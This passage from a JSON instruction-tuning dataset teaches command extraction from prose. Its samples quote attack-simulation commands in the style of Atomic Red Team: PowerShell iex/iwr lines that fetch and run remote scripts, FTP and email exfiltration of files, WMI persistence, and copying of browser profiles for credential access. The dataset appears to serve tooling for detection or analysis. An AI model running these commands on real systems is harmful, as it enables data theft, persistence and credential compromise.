anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To download a remote file, you can use the whois utility with the following command: timeout --preserve-status #{timeout} whois -h #{remote_host} -p #{remote_port} \"#{query}\" > #{output_file}\n; You can fetch and open an arbitrary internet file with this PowerShell command, which was featured in Red Canary's report: (New-Object Net.WebClient).DownloadString('#{target_remote_file}') | Out-File #{output_file}; Invoke-Item #{output_file}",
    "output": "{\"command_list\": [\"timeout --preserve-status #{timeout} whois -h #{remote_host} -p #{remote_port} \\\"#{query}\\\" > #{output_file}\\n\", \"(New-Object Net.WebClient).DownloadString('#{target_remote_file}') | Out-File #{output_file}; Invoke-Item #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Upon successful execution, PowerShell will send an email with the attached file to exfiltrate, via the command: Send-MailMessage -From #{sender} -To #{receiver} -Subject \"T1048.003 Atomic Test\" -Attachments #{input_file} -SmtpServer #{smtp_server}\n; This test demonstrates MAZE ransomware's data exfiltration capability through FTP, which can be simulated using the following command:\n$Dir_to_copy = \"$env:windir\\\\temp\"\n$ftp = \"ftp://#{ftp_server}/\"\n$web_client = New-Object System.Net.WebClient\n$web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}')\nif (test-connection -count 1 -computername \"#{ftp_server}\" -quiet)\n{foreach($file in (dir $Dir_to_copy \"*.7z\"))\n{echo \"Uploading $file...\"\n$uri = New-Object System.Uri($ftp+$file.name)\n$web_client.UploadFile($uri, $file.FullName)}}\nelse\n{echo \"FTP Server Unreachable. Please verify the server address in input args and try again.\"}",
    "output": "{\"command_list\": [\"Send-MailMessage -From #{sender} -To #{receiver} -Subject \\\"T1048.003 Atomic Test\\\" -Attachments #{input_file} -SmtpServer #{smtp_server}\\n\", \"$Dir_to_copy = \\\"$env:windir\\\\temp\\\"\\n$ftp = \\\"ftp://#{ftp_server}/\\\"\\n$web_client = New-Object System.Net.WebClient\\n$web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}')\\nif (test-connection -count 1 -computername \\\"#{ftp_server}\\\" -quiet)\\n{foreach($file in (dir $Dir_to_copy \\\"*.7z\\\"))\\n{echo \\\"Uploading $file...\\\"\\n$uri = New-Object System.Uri($ftp+$file.name)\\n$web_client.UploadFile($uri, $file.FullName)}}\\nelse\\n{echo \\\"FTP Server Unreachable. Please verify the server address in input args and try again.\\\"}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can take a complete desktop screenshot and examine it with the command: xwd -root -out #{output_file}\nxwud -in #{output_file}; For gathering a full desktop screenshot, run the ImageMagick command: import -window root #{output_file}",
    "output": "{\"command_list\": [\"xwd -root -out #{output_file}\\nxwud -in #{output_file}\\n\", \"import -window root #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A root CA can be established by executing this command: certutil -addstore my #{pfx_path}; This Atomic test generates registry modifications for certificate storage by executing the command: IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) \n",
    "output": "{\"command_list\": [\"certutil -addstore my #{pfx_path}\\n\", \"IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To list all currently logged on users, use the following command: query user; Local account enumeration on an ESXi host can be performed with the command: echo \"\" | \"#{plink_file}\" -batch \"#{vm_host}\" -ssh -l #{vm_user} -pw \"#{vm_pass}\" \"esxcli system account list\"",
    "output": "{\"command_list\": [\"query user\\n\", \"echo \\\"\\\" | \\\"#{plink_file}\\\" -batch \\\"#{vm_host}\\\" -ssh -l #{vm_user} -pw \\\"#{vm_pass}\\\" \\\"esxcli system account list\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create an Alternate Data Stream directory and file, use the following command where write access is required: \nmd #{folder_name}\necho too many secrets > #{folder_name}\\#{hidden_filename}\n. After execution, verify the stream exists by running 'dir /A /Q /R' in %temp%, and view its contents with 'type %temp%\\...$.......::$index_allocation\\secrets.txt'.; This WMI persistence technique requires administrator privileges. After running the following PowerShell command and rebooting the system, notepad.exe will automatically execute as SYSTEM once the machine has been online for 4 minutes: $FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';\n                EventNameSpace='root\\CimV2';\n                QueryLanguage=\"WQL\";\n                Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};\n$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs\n\n$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';\n                CommandLineTemplate=\"$($Env:SystemRoot)\\System32\\notepad.exe\";}\n$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs\n\n$FilterToConsumerArgs = @{\nFilter = [Ref] $Filter;\nConsumer = [Ref] $Consumer;\n}\n$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs",
    "output": "{\"command_list\": [\"md #{folder_name}\\necho too many secrets > #{folder_name}\\\\#{hidden_filename}\\n\", \"$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';\\n                EventNameSpace='root\\\\CimV2';\\n                QueryLanguage=\\\"WQL\\\";\\n                Query=\\\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\\\"};\\n$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs\\n\\n$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';\\n                CommandLineTemplate=\\\"$($Env:SystemRoot)\\\\System32\\\\notepad.exe\\\";}\\n$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs\\n\\n$FilterToConsumerArgs = @{\\nFilter = [Ref] $Filter;\\nConsumer = [Ref] $Consumer;\\n}\\n$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For more details on Firefox profile locations, visit the Mozilla support page, and run the following command to simulate credential access: Copy-Item \"$env:APPDATA\\Mozilla\\Firefox\\Profiles\\\" -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\" -Force -Recurse; For more forensic details about Edge (see referenced article), simulate credential access with the command: Copy-Item \"$env:LOCALAPPDATA\\Microsoft\\Edge\\User Data\\Default\" -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\\Edge\" -Force -Recurse\n",
    "output": "{\"command_list\": [\"Copy-Item \\\"$env:APPDATA\\\\Mozilla\\\\Firefox\\\\Profiles\\\\\\\" -Destination \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\" -Force -Recurse\\n\", \"Copy-Item \\\"$env:LOCALAPPDATA\\\\Microsoft\\\\Edge\\\\User Data\\\\Default\\\" -Destination \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\Edge\\\" -Force -Recurse\\n\"]}"
  },
  {
